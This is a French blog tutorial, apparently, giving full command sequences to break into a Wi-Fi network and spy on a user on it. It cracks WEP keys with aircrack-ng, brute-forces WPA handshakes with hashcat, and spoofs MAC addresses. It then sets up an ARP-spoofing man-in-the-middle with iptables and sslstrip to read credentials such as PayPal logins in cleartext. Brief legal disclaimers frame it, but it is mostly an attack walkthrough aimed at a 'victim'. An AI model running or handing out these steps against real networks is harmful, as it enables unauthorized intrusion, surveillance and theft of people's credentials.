Espionner une machine sur un réseau
Bonjour à tous!
Je vous présenterai dans cet article quelques techniques bien connues qui, une fois misent en commun, peuvent se révéler intéressantes. Il sera question ici de sniffing sur un réseau wifi. Avant de commencer, je tiens à vous prévenir que ce post est rédigé dans le but de comprendre les failles de sécurité d’un réseau, ou bien d’un utilisateur. Il ne serait absolument pas judicieux de reproduire ce que vous apprendrez peut être, sur une victime dont vous ne connaîtriez pas les réactions et dont vous n’auriez pas son accord. Surtout que dans la majorité des cas les techniques utilisées sont illégales. Victor Hugo disait “Tout ce qu’augmente la liberté augmente la responsabilité”, auqel j’ajouterai une citation de Stan Lee “With great power comes great responsibility”. A méditer avant tout!
Bon commençons: Notre but étant de cibler une victime et de l’espionner. Nous utiliserons pour cela le soft aircrack, qui permet de cracker un réseau wifi s’il est sécurisé. Ensuite nous utiliserons l’attaque du man in the middle, déjà décrite dans un post précédent, mais dans l’objectif de visionner ce qu’est en train de faire la victime sur son navigateur. Cependant, il existe une méthode de chiffrement (SSL) comme le https qui ne permet pas de voir la totalité des trames en transit sur le réseau. Par exemple si l’utilisateur est en train de rentrer ses coordonnées Paypal pour effectuer un virement, toutes les communications seront chiffrées. C’est ici qu’intervient SslStrip, permettant de forcer les échanges https en http, donc en clair. Pour les moins initiés, ou les plus initiés, ou en fait pour la majorité: Kali Linux est une excellent distribution. Tous les outils nécessaires y sont déjà installés, et ça fait plaisir de ne pas avoir à se battre avec l’installation des .deb et leurs dépendances.
Quelques rappels de réseaux
Voici en quoi consiste la méthode du man in the middle:
Nous essaierons donc de nous placer entre la victime et la page internet demandé au serveur web. Je rappelle que pour échanger des données, Bob va par exemple envoyer à Alice des requêtes sous formes de trames (qui encapsulent des paquets ip etc…). Notre but étant d’intercepter ces trames et de les modifier si elles demandent un chiffrement. Ensuite, nous allons garder la connexion en clair entre l’attaquant et la victime et créer une connexion SSL chiffrée entre l’attaquant et Alice (le serveur web dans notre cas). De ce fait, personne ne pourra voir que l’intégrité des données est compromise… Une fois que le serveur web renverra la réponse, nous la passerons simplement à Bob en regardant, pour chaque communication, ce qui s’y dit.
Cas d’un réseau sécurisé
Admettons que la victime se trouve sur un réseau sécurisé. Si c’est du ethernet, il suffit en général de changer son adresse mac (car filtrage mac). Il vous faudra trouver un ordinateur connecté au réseau, noter l’adresse mac de la carte ethernet puis le débrancher. Ensuite il suffit de taper la commande suivante avant de brancher son PC au réseau:
ifconfig eth0 hw ether macAdress
Dans le cas où se serait un réseau wifi, il existe trois possibilités: si le réseau n’est pas sécurisé alors c’est parfait (mais de plus en plus rare). Deuxième cas le réseau est sécurisé en WPA / WPA2 et ça va poser problème. Il est possible d’utiliser aircrack mais je ne détaillerai pas la méthode car il n’y a que peu de chances d’avoir le password: en gros il faut réaliser une attaque par dictionnaire, ce qui sous entend avoir le mot de passe dans le dico… Troisième cas, le réseau est sécurisé en WEP, il y a possibilité de récupérer la clé, en utilisant la suite aircrack-ng (à installer via apt-get).
Pour ce faire, il faudra en premier lieu passer son interface wifi en monitor. Pour voir la liste des interfaces:
airmon-ng
Puis pour lancer l’interface wifi (wlan0) en mode monitor. N’oubliez pas que vous pouvez aussi changer l’adresse mac du monitor pour une meilleure discrétion.
airmon-ng start wlan0
Nous allons maintenant scanner les réseaux dispos avec la commande airodump-ng mon0. Une fois le wifi repéré, vérifiez que la sécurité utilisé est en WEP et notez son bssid ainsi que son chanel. Vous pouvez maintenant commencer à surveiller le réseau (-w out indique que l’on écrit les infos reçus dans un fichiers logs nommé out):
airodump-ng -w out -c numChanel –bssid addrMac mon0
Gardez le terminal ouvert et démarrez en un nouveau. Il va falloir lancer l’attaque avec aireplay-ng. Cependant pour que le crack se passe dans les meilleures conditions possibles, attendre qu’une machine(station) soit connectée au réseau si ce n’est pas déjà fait. De plus, il peut là aussi y avoir un filtrage mac, donc pensez à changer la votre si ça ne marche pas correctement. Nous utiliserons donc une attaque dite par deauth. Elle consiste à désauthentifier la machine cible pour qu’elle se réidentifie et c’est à ce moment là que nous essayons d’intercepter la clé WEP:
aireplay-ng -1 0 -e essidBox -a addrMacBox -h addrMacStation mon0
Une fois l’attaque finie, il devrait y avoir un magnifique “association successfull :-)” Nous sommes maintenant connectés au réseau!
Cependant il existe un autre type d’attaque, dit par rejeu d’arp, qui est théoriquement plus performant:
aireplay-ng -3 -e essidBox -a addrMacBox -b addrMacBox -h addrMacStation -x 600 -r out-01.cap mon0
600 correspond au nombre de paquets à injecter par seconde. Une fois lancé il faudra attendre que le nombre de requêtes arp atteigne 40 000. Sinon le crack sera impossible. Ensuite il suffira d’utiliser aircrack pour cracker le fichier de logs:
aircrack-ng nom-du-fichier-de-capture
Et après un certain temps, si tout se passe bien, la clé WEP s’affiche =D
Juste pour vous, je rajoute tout de même rapidement la façon de casser une clé WPA (remplacer les étapes précédentes depuis airodump (non compris) par les suivantes): Il va premièrement falloir répéter la commande suivante jusqu’à obtenir le handshake:
aireplay-ng -0 5 -a addrMacBox -c addrMacStation mon0
Pour optimiser les performances, utilisez hashcat qui va permettre de lancer le bruteforce via les ressources GPU (beaucoup plus rapide).
L’utilisation de ce dernier nécessite une petite conversion du fichier .cap:
wpaclean monFichierClean.cap monFichier.cap
aircrack-ng monFichierClean.cap -J monFichierClean.hccap
Et maintenant ce que vous attendez tous: le cassage de la clé!
oclHashcat-plus64 -m 2500 monFichierClean.hccap monDictionnaire.txt
L’option -m sert à indiquer quel type de données sont utilisées. Ici 2500 = WPA / WPA2. Il faut évidemment, et comme dit précédemment, un dictionnaire qui DOIT comprendre le bon mot de passe… Bonne chance!
Forcer les communications en http avec sslstrip
Maintenant que nous sommes connectés, il faudra prévoir avant d’attaquer la victime, de forcer les communications en http pour y voir clair! Nous utiliserons ainsi sslstrip qui fonctionne comme ceci:
Il faut savoir que la faille principale est ici l’utilisateur. Prenons le cas où il essayerai d’accéder à son compte paypal: Lorsqu’il voudra vérifier si la connexion est sécurisée, s’il y pense, il remarquera ce petit favicon dans sa barre d’adresse:
qui le rassurera. De plus sslstrip fait en sorte de n’afficher aucun message d’erreur. La seule façon de vérifier si la connexion est bien chifrée, est de regarder si il y a bien un https et non pas un simple http dans l’url. Le soft est à télécharger ici: https://github.com/moxie0/sslstrip (A noter qu’il est installé de base sur un Kali). Décompressez-le dans un répertoire puis lancer la commande suivante pour l’installer:
python setup.py install
L’attaque
Bien, si vous êtes arrivé jusque là vous avez fait le plus gros. Il ne reste plus qu’à lancer l’attaque. Mais tout d’abord quelques préparatifs:
Passer en mode routeur:
echo “1” > /proc/sys/net/ipv4/ip_forward
Activer l’ip forwarding et rediriger les flux http (port 80) sur le port 14700 (par exemple). Le daemon sslstrip écoutera sur ce dernier port pour récupérer les flux et ainsi faire son boulot!
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 14700
Pour lancer sslstrip:
python sslstrip.py -w log.txt -a -l 14700 -f
OU alors pour les utilisateurs de Kali:
sslstrip -w log.txt -a -l 14700 -f
Nous pourrons par la suite ouvrir le fichier log.txt pour regarder le contenu des trames échangés. Maintenant il va falloir utiliser arpspoof pour pouvoir se placer en situation de man in the middle:
arpspoof -i wlan0 -t ipBox ipVictim
Puis dans un autre terminal
arpspoof -i wlan0 -t ipVictime ipBox
Si vous voulez spoofer la gateway (récupérer les trames de tous les utilisateurs connectés), dans un seul terminal à la place des deux commandes précédentes:
arpspoof -i wlan0 ipBox
Et voilà le tour est joué! Je vous laisse le plaisir d’aller voir les logs et espionner votre victime tranquillement. Vous pouvez aussi lancer wireshark ou tshark pour sniffer les trames si vous préférez =)
Attention encore aux conséquences que cela peut avoir! Notez bien la chose suivante: prendre 5 minutes de son temps pour passer son wifi en WPA / WPA2 et personnaliser le password peut vous éviter énormément d’ennuis. Alors pourquoi ne pas le faire? Sur ce à vos hacks!
Laisser un commentaire